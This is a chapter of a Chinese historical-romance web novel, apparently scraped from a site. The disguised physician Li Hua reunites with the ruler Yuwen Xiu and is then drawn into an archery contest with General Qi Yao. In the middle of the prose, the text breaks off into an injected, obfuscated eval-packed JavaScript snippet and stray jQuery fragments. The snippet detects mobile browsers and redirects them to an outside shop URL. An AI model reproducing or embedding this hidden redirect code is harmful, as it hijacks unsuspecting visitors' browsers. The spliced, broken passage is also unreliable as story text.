李婳气极,索性收起喷雾,决定让他们尝尝冰箭的厉害。
正欲展臂,一只温热的大手忽然从身后揽住她的腰,轻轻一提。她整个人瞬间离地,被带着在空中旋转一圈,避开迎面飞来的菜叶碎石。
落地时,撞进一具宽厚的胸膛。熟悉的气息扑面而来,令她心头猛然一震。
未及抬头,那人已将她裹入怀里。
“阿婳。”头顶的声音哑得几不可闻,她心口一颤,委屈顿时涌上眼眶,恨不得咬他一口。
“阿婳。”他又唤一声,额头贴着她的发顶,轻轻磨蹭,像一只终于寻回归处的小兽,乖顺得让人心疼。
“阿婳。”唤第三声时,他的吻已落下,小心翼翼地含住她的唇。未及深入,身体突然微微一震,显是后背被什么东西击中。
他不得不放开她,将人护在身后,转过身去。
宇文秀本就长得冷峻,正色时更是威严沉寂,周身气势逼人,令人不敢轻易靠近。即便不知他的身份,也能看出他绝非寻常。可惜,他回首的那一刻,姚女神眼里看见的,只有那张美得过分的脸。
她身边的男医工颇有眼力,察觉到宇文秀眼底隐现的怒色,忙不迭扯了扯她的衣袖,示意她赶紧离开。奈何女神早已被醋意冲昏了头,甩开他的手,不怕死地朝李婳挑衅道:“华君好本事,既能魅惑主君,又能招惹外男,行医实为可惜。”
李婳懒得理她,抬头看着宇文秀,指了指自己的脸,好奇问道:“此貌,亦能惑男子乎?”
宇文秀伸出拇指,轻轻拂过她眼下胎记,宠溺一笑,“惑孤足矣。”
“孤”字一出,空气骤凝。只是,还没等医工们反应过来,就见内院侧门忽地被人推开,护卫如潮水般涌出,整齐地朝这边疾驰而来。紧随其后的,还有几个穿着裘氅的男人,气势沉得惊人。
李婳视力极好,看清来人后,二话不说,抓起宇文秀的手,拔腿就跑。那群人里,除了于邓、齐遥外,还有嫌弃她的更始主簿,讨厌她的河内太守。此刻她虽易容,但经不起细看;更麻烦的是,她的口音。上次去军营时,谢主簿就问她是不是江南人。
宇文秀唇角微扬,接过她手中的药箱,单臂一揽,将她扛上肩头,飞掠而去。分明是头一回来乌堡,却像在自家后院似的,几个转折便拐进了一座花园。
这是夹在内院与客院之间的一方小园。青砖小径从内院后门进来,沿着花木迤逦而行,消失在客院的垂门。
小径旁有一株老槐,枝干斜斜伸向假山,山后藏着一条极窄的石阶,往上走几步是一小片平地,三面被太湖石围着,一丛南天竹立于入口,枝头缀满朱果,青红交映,将洞口掩去了大半。
没等她站稳,宇文秀就扔了药箱,扣住她的后颈将她抵在石壁上吻了下来。他的呼吸带着一路奔跑后的喘息和体温,舌尖带着无法克制的、近乎本能的索取。
他吻得极重,齿尖碾过她下唇时带着一点失控的力道,随即又用舌尖轻轻舔过那一处痕迹,像安抚,更像是在确认。手掌拢着久违的温软,隔着衣料,感受着她越来越快的心跳,想将她揉入骨血,此生再不分离。
槐枝筛下的碎光在他们交叠的影子上晃动,她的后背贴着微凉的太湖石,身前是他滚烫的呼吸。冷与热交汇间,他喉间逸出一声极轻的叹息,仿佛压在心头许久的一块巨石终于落地。
李婳心头一酸,抬手环住他的脖颈,动情迎上他的吻。那些压在心底许久的思念与委屈,终于在这一刻如春水决堤,再也收束不住。
分开时,两人的呼吸都有些凌乱。待平复下来,他才低声道:“娘子,孤知错了。归来,可好?”
久别的热吻让李婳双颊绯红,羞得不敢看他,只低垂着眼睫,轻声道:“你且使李君自洛阳归,届时我便去军营寻你。”
他双手轻轻捧起她的脸,小心揭去她眼下的易容,心疼道:“使君受屈,皆孤之过。自今而后,卿无须再扮作他人,当以王后之礼相见。”
李婳被他的话惊得一怔,竟忘了脸上的热意,抬起那双狐狸眼,定定望着他,不敢置信道:“你行此策,官吏、豪强皆当离心。不过扮李君耳,我不以为屈。”
他将她拥入怀中,轻轻叹了一声,“卿不以为屈,孤却甚觉委屈。无论李君抑或华医,皆与伯修有涉。卿乃孤之妇,岂可容他人觊觎?彼等若因此事与孤离心,便由他们离罢。孤本非恋栈权位之人,携卿归南阳,躬耕田亩,亦无不可。”
毋庸置疑,如果他真的带她回老家种田的话,‘李王后’将与‘妲己’在史上齐名。被后世骂几句倒也无所谓,就是怕活着的时候送命。
不过,日日束胸终究伤身,每晚清洗易容,也着实麻烦,倒不如破罐子破摔,看他们能把她怎么样!
相同的大纲,到了不同作者笔下,尚能衍生出截然不同的故事;更何况,是发生在无数个平行世界里的历史变迁?
更始帝可以换人,为什么光武帝不可以?拓跋宏(北魏孝文帝)可以一生一妻,为什么宇文秀不可以?
“随你去南阳无妨,然我不喜耕种。生财之道甚多,何必如此劳烦?”
“善,此后悉听卿言。”
话是这么说,但就这么出去见人,自然不妥。眼下的‘胎记’没了,但遍布脸颊和鼻梁的雀斑还在,而且身上穿的是医工的制服。如果承认华璃身份,那她该怎么解释躲在乌堡一事?
与其在乌堡公开,不如择日以李君的身份先回军营,再自首。承认李君就是王后,总比解释李君不仅是王后还是华璃,简单许多。
正要开口把这个想法告诉他,谁知她才启唇,又被他堵了回去。他吻得比刚才更深,却不再是索取,更像一遍遍地确认,生怕稍一松手,她便会再次消失。
多日来的克制,在这一刻彻底溃不成军。
三面太湖石,围出一方与世隔绝的天地。便是正人君子,置身其间,也难免生出几分旖旎心思,更何况他们是一对久别重逢的恋人。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17776941|206986||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
不知何时,他已将狐裘裹在她的身上。她一手环着他的脖颈,一手扶住他的肩,双腿缠着他的腰,背倚一块丈高的太湖石。迷蒙的视线里,唯有他,与入口那丛南天竹。朱果累累,在寒风中轻轻摇曳;枝头积雪渐融,雪水缓缓滑落,将那抹嫣红润得愈发浓艳。
“子文,”她低低唤了一声,攥紧他肩头的衣料,轻声道:“我日夜想你。”
……
当他们撇下闹事的医工,正忙着‘小别胜新婚’时,正义的齐将军当场替华医工主持了公道。
虽姚医工一再强调,华医工是被一个高大的绝世美男拐跑的,可一个霸凌者得话,谁会信?至于那几个塑料粉丝,在得知那几个人的身份,又隐约猜到“孤”是何人后,就彻底闭了嘴。
如此一来,华医工连夜‘消失’的计划,便无法实施了。
原本像她这样的小幕僚,是不会被邀请参加晚宴的。所以,她计划在东厢低调的度过一晚,第二天一早,在陆承的掩护下,以李君的装束先一步回营,向易逢自首。
可惜,计划永远赶不上变化。
齐大将军见宴会名单上没有华君,竟当众数落起陆承。说他不仅忘恩负义,还薄待功臣。无论替他治伤,还是擒获徐万,华君都居功至伟。如此功臣,不替他向大王请功也就罢了,竟连晚宴都不许参加,未免太过小气。
在齐遥和众人的压力下,陆承只得把华君的名字添进晚宴名单。但趁宾客回客院休整,特意来东厢提醒她务必小心,又状若无意地透露,齐将军近日正被家中催着议亲。
李婳一边对着铜镜往眼下贴胎记,一边很无语地告诉陆承,齐将军眼光甚高,连洛阳贵女都不屑一顾,何况是她。他之所以惦记华君,不过是好奇她的射术罢了。
果然,她才踏入正堂,齐遥便迎了上来,开门见山地提出,想趁开宴之前,与她切磋切磋。
这个武夫,嗓门大得惊人,一嗓子就把半个正堂的人都引了过来。李婳顿觉头大。不应,齐遥多半不会善罢甘休;应了,她今晚势必要在人前露脸。以后若想让华君神不知鬼不觉地‘消失’,可就难了。
宇文秀被生十二个儿子的豪强缠着脱不开身。无奈之下,李婳只好从袖中取出弓弩,说道:“弩箭尚可,弓矢不习,君欲如何比试?”
“比速。”
他所谓的比速,是命数人在远处按一定间隔将蔓菁抛向空中,双方需以最快的速度连续开弓,最终以射中数量多者为胜。这与现代的飞碟射击颇有几分相似。
李婳忽然明白,为什么齐遥这么想找她比试了。原来,他从徐万的伤口,看出了那两箭背后惊人的眼力、反应和射速。
“善。胜负何如?”
“胜者为师,败者为徒。”
女主挑了挑眉,险些笑出声。这家伙,竟然这么急着拜师。
“华君,怯乎?”
“善。”
今日,就让你见识见识飞碟冠军的实力。